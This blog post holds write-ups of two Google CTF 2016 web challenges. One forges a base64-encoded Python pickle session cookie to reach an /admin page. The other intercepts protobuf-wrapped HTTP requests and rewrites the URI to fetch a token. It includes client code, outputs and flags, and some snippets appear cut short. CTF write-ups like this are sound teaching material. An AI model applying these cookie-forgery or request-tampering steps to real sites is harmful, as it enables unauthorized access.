May 1, 2016 - Google CTF 2016 : Spotted Quoll

Author: aagallag

Publish Date: 2016-05-01

Category: Web Points: 50 Solves: 413 Description:

This blog on Zombie research looks like it might be interesting - can you break into the /admin section?


I start by enabling developer toolbar on Google Chrome and start capturing the network traffic.

I notice an ‘Admin’ button at the top of the page. When I click on it, I just get redirected to the homepage and notice my URL bar updates as followed:

However, I notice my browser downloaded a cookie at some point.

It looks like the cookie was retrieved from a ‘GET’ request at ‘/getCookie’. This information will be useful when implemeting the script later.

Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu

I have heard of ‘pickle’ before. It’s a format for serializing data, usually over a network. Very similar to JSON. I tried loading the above data directly into pickle. But unfortunately, it threw an exception.

However, the pickle could be simply encoded in another format, perhaps base64….

>>> from base64 import b64decode
>>> b64decode('KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu')

Ok, that looks a lot more like pickle data to me, let’s load it up in Python.


Load the pickle data

#Decode the base64 pickle
pickb64 = cookie['obsoletePickle']
pick = b64decode(pickb64)

#Write the pickle to a tmp file
tmpf = 'tmp.p'
f = open(tmpf, 'wb')

#load the pickle
obsoletePickle = pickle.load(open('tmp.p', 'rb'))
print('%s' % str(obsoletePickle))

Print the pickle data

{'python': 'pickles', 'subtle': 'hint', 'user': None}


From the formatted pickle data, it should be pretty clear what’s going on. The ‘user’ field is set to None. This is because we are not logged in. I think we can trick the webiste! Why don’t we login as the admin by setting our ‘user’ attribute to ‘admin’.

Modify the pickle data so that it reads…

{'python': 'pickles', 'subtle': 'hint', 'user': 'admin'}

Modify pickle data and dump back to raw data

obsoletePickle['user'] = 'admin'

#Write to spoofed pickle to a new file
pickle.dump(obsoletePickle, open('spoofed.p', 'wb'))
spooff = 'spoofed.p'

#Read back as plain data
f = open(spooff, 'rb')
pick =

Create the new cookie (encoded in base64)

spoofed_cookie = dict(obsoletePickle=b64encode(pick))

Perform the attack to login to the admin page ‘admin’

r = requests.get(URL + 'admin', verify=False, cookies=spoofed_cookie)

Script Output

  <link href="/static/bootstrap.min.css" rel="stylesheet">
  <link href="/static/jumbotron-narrow.css" rel="stylesheet">

    <div class="container">
      <div class="header clearfix">
          <ul class="nav nav-pills pull-right">
            <li role="presentation" class="active"><a href="#">./boringblog</a></li>
            <li role="presentation"><a href="/admin">Admin</a></li>
        <h3 class="text-muted">yawn</h3>

      <div class="jumbotron">
        <h1>My Zombie Research Project</h1>
        <p class="lead">./boringblog</p>

      <div class="row marketing">
        <div class="col-lg-12">
          <h3>Blog Development - 20th January, 2016</h3>
          <p>I don't have much content yet, except for my admin page. Stay tuned for more information</p>
      <iframe style="border: 0;" src="/getCookie"></iframe>
    </div> <!-- /container -->


<RequestsCookieJar[<Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu for>]>

Real Pickle:
{'python': 'pickles', 'subtle': 'hint', 'user': None}

Spoofed Admin Pickle:
{'python': 'pickles', 'subtle': 'hint', 'user': 'admin'}

Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?



Python script

May 1, 2016 - Google CTF 2016 : Opabina Regalis - Token Fetch

Author: aagallag

Publish Date: 2016-05-01

Category: Web Points: 50 Solves: 79 Description:

There are a variety of client side machines that have access to certain websites we’d like to access. We have a system in place, called “Opabina Regalis” where we can intercept and modify HTTP requests on the fly. Can you implement some attacks to gain access to those websites?

Opabina Regalis makes use of Protocol Buffers to send a short snippet of the HTTP request for modification.

Here’s the protocol buffer definition used:

package main;

message Exchange {

   enum VerbType {
           GET = 0;
           POST = 1;

   message Header {
           required string key = 1;
           required string value = 2;

   message Request {
           required VerbType ver = 1; // GET
           required string uri = 2; // /blah
           repeated Header headers = 3; // Accept-Encoding: blah
           optional bytes body = 4;

   message Reply {
           required int32 status = 1; // 200 or 302
           repeated Header headers = 2;
           optional bytes body = 3;

   oneof type {
           Request request = 1;
           Reply reply = 2;

The network protocol uses a 32-bit little endian integer representing the length of the marshalled protocol buffer, followed by the marshalled protocol buffer.

Listening on port 1876 on


In order to solve this problem, I had to learn a little bit about Protocol buffer. I started by reading the documentation that was linked in the challenge description. It looks like Google supports a few different languages, so I decided to go with Python. But first I had to install the protocol buffer compiler (protoc).

Protocol Buffer Compiler Setup

Download the protocol buffer project

$ git clone

Compile and install (from Google’s Git Documentaion)

$ cd ./protobuf/
$ ./
$ ./configure
$ make
$ make check
$ sudo make install
$ sudo ldconfig # refresh shared library cache.

Google has provided the contents of our message file in the challenge description, simply save it as main.proto.

Now that the protocol buffer compiler has been installed and we have our main.proto file created, it is time to run the compiler.

$ protoc -I=./ --python_out=./ main.proto

Wow, I am finally ready to start writing code. I can create an empty Exchange message protocol buffer with the following snippet:

import main_pb2
msg = main_pb2.Exchange()

Client Code

Once I verified that I could import main_pb2, I setup the TCP/SSL socket as such:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
ws = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_SSLv23)

This is the code I wrote for reading from the socket, careful to obey the requirement for 32bit little-endian integers.

def rx_msg(sock):
  data = sock.recv(4)
  #Unpack the message length
  msg_len = struct.unpack('<I', data)[0]
  data = sock.recv(msg_len)
  #Read the protocol buffer message
  msg = main_pb2.Exchange()

And the code for writing to the socket.

def tx_msg(sock, msg):
  data = msg.SerializeToString()
  p = struct.pack('<I', len(data)) + data

And add some simple code to print the request so that I can easily see what is happening.

def print_req(req):
  print('VerbType: ' + repr(req.ver))
  print('URI: ' + repr(req.uri))
  for i in req.headers:
  print('Body: ' + repr(req.body))


I should be all set, let’s connect to the socket and see if I get a request.

VerbType: 0
URI: u'/not-token'
key: "User-Agent"
value: "opabina-regalis.go"

Hmm… Looks like someone is trying to connect to ‘/not-token’. What if I create a new request for ‘/token’ instead.

new_dat = main_pb2.Exchange()
new_dat.request.ver = main_pb2.Exchange.GET
new_dat.request.uri = u'/token'
new_dat.request.body = ''
tx_msg(ws, new_dat)

Now let’s see what the whole script output looks like.

VerbType: 0
URI: u'/not-token'
key: "User-Agent"
value: "opabina-regalis.go"

Body: ''
Status: 200
key: "Server"
value: "opabina-regalis.go"

Body: 'CTF{WhyDidTheTomatoBlush...ItSawTheSaladDressing}'

Click here for entire Python implementation